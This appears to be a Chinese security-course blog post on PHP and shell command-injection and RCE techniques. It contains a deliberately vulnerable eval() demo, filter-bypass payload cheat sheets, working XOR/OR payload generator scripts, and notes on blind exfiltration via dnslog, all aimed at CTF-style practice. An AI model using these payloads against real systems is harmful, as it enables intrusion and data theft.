安全漏洞利用第58天:漏洞利用-RCE代码&命令执行&过滤绕过&异或无自负&无回显方案&黑白盒挖掘
Yatming的博客常见功能点:
1 2 3 4 5 6 7 8 9 10 11
| Web管理界面:配置主机名、IP地址、网关等系统参数,以及重启、关机等系统操作。
系统信息查询:诸如ping、nslookup、查看系统版本等功能。
文件操作:包括文件上传、下载、删除等功能。(这种跟代码有关系,如果对方代码中删除文件使用的是系统命令进行删除,过滤不严谨的 )
邮件发送:构建邮件内容并发送,如果未正确处理用户输入,可能被注入命令。
图片处理:一些站点可能调用外部程序来处理图片,如格式转换等,若未对用户输入进行过滤,可能存在命令注入。
其他外部程序调用:只要是应用程序调用外部程序来完成功能,都可能存在命令注入风险
|
危险函数
PHP—危险函数
1 2 3 4 5
| 代码执行函数:eval()、 assert() 、 preg_replace() 、 create_function() 、 array_map() 、call_user_func() 、 call_user_func_array() 、 array_filter() 、 uasort() 等 命令执行函数:system()、 exec() 、 shell_exec() 、 pcntl_exec() 、 popen() 、 proc_popen() 、 passthru() 、等
|
Python—危险函数
1
| eval exec subprocess os.system commands
|
Java
Java中没有类似 php 中 eval 函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL 、 SpEL 、 MVEL等
demo演示

源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
$cmd='ver'; system($cmd); echo '<hr>';
echo shell_exec($cmd); echo '<hr>';
echo exec($cmd); echo '<hr>';
passthru($cmd); echo '<hr>';
$code=$_GET['c'];
eval($code); echo '<hr>';
|
简单来说就是将用户输入的内容,按照当前脚本语言去执行。

棱角社区,生成shell:https://forum.ywhack.com/shell.php

RCE - 利用 & 绕过 & 异或 & 回显
*:代表所有字符(一个或多个)。
?:代表任意 1 个字符。
1 2 3 4 5 6 7 8 9 10
| ca\t /fl\ag # 后面我自己在Linux测试,这个好像/不行,只能用\ ca\t \fl* cat fl''ag
ca$*t fl$*ag ca$@t fl$@ag ca$5t f$5lag ca${2}t f${2}lag
这里这个$的意思就是将这个后面的当做一个变量,然后这个变量后续又没有赋值,所以就是为空,所以就可以输出,等同于没有
|

拼接法
1 2
| [root@test ~]# a=f;b=lag;cat $a$b This flag xiaodi
|
反引号绕过
等同于先执行了,ls,然后将ls
执行的结果交给cat
命令来执行。

编码绕过
1 2
| echo 'flag' | base64 cat `echo ZmxhZwo= | base64 -d` #这里反引号的内容将base64解码还原为flag,最终命令执行为cat flag
|

组合绝活
\
指的是换行
ls -t
是将文本按时间排序输出
ls -t >shell
将输出输入到 shell 文件中
sh
将文本中的文字读取出来执行
1 2 3 4 5 6
| touch "ag" touch "fl\\" touch "t \\" touch "ca\\" ls -t >shell sh shell
|

异或无符号(过滤 0-9a-zA-Z)(重点)
1 2 3 4 5 6 7 8
| <?php error_reporting(0); highlight_file(__FILE__); $code=$_GET['code']; if(preg_match('/[a-z0-9]/i',$code)){ die('hacker'); } eval($code);
|

首先使用php脚本生成对应的异或语句:
rce-xor.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php $myfile = fopen("res.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[a-z0-9]/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }
else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
} } fwrite($myfile,$contents); fclose($myfile);
|

会生成对应的res.txt
,这个时候只需要在执行py的poc就行。
rce-xor.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import urllib from sys import * import os
def action(arg): s1 = "" s2 = "" for i in arg: f = open("res.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output)
while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";" print(param)
|


rce-xor-or.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php $myfile = fopen("res_xor.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9a-z]/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }
else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
} } fwrite($myfile,$contents); fclose($myfile);
|
rce-xor-or.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import urllib from sys import * import os
def action(arg): s1 = "" s2 = "" for i in arg: f = open("res_xor.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output)
while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";" print(param)
|
过滤函数关键字
内敛执行绕过(system)
1 2 3 4
| echo `ls`; echo $(ls); ?><?=`ls`; ?><?=$(ls);
|
过滤执行命令(如 cat tac 等)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 sh /flag 2>%261 //报错出文件内容 curl file:///root/f/flag 使用file伪协议读取本地文件 strings flag uniq -c flag bash -v flag rev flag
|
过滤空格
1 2 3 4
| %09(url传递)(cat%09flag.php) cat${IFS}flag a=fl;b=ag;cat$IFS$a$b {cat,flag} //{commond,arg},第一个参数为要执行的命令,后面的参数都是传入命令的参数
|
无回显利用
- 直接写个文件到网站目录下访问查看
- 直接进行对外访问接受,直接使用
ping|curl|wget
等访问 dnslog



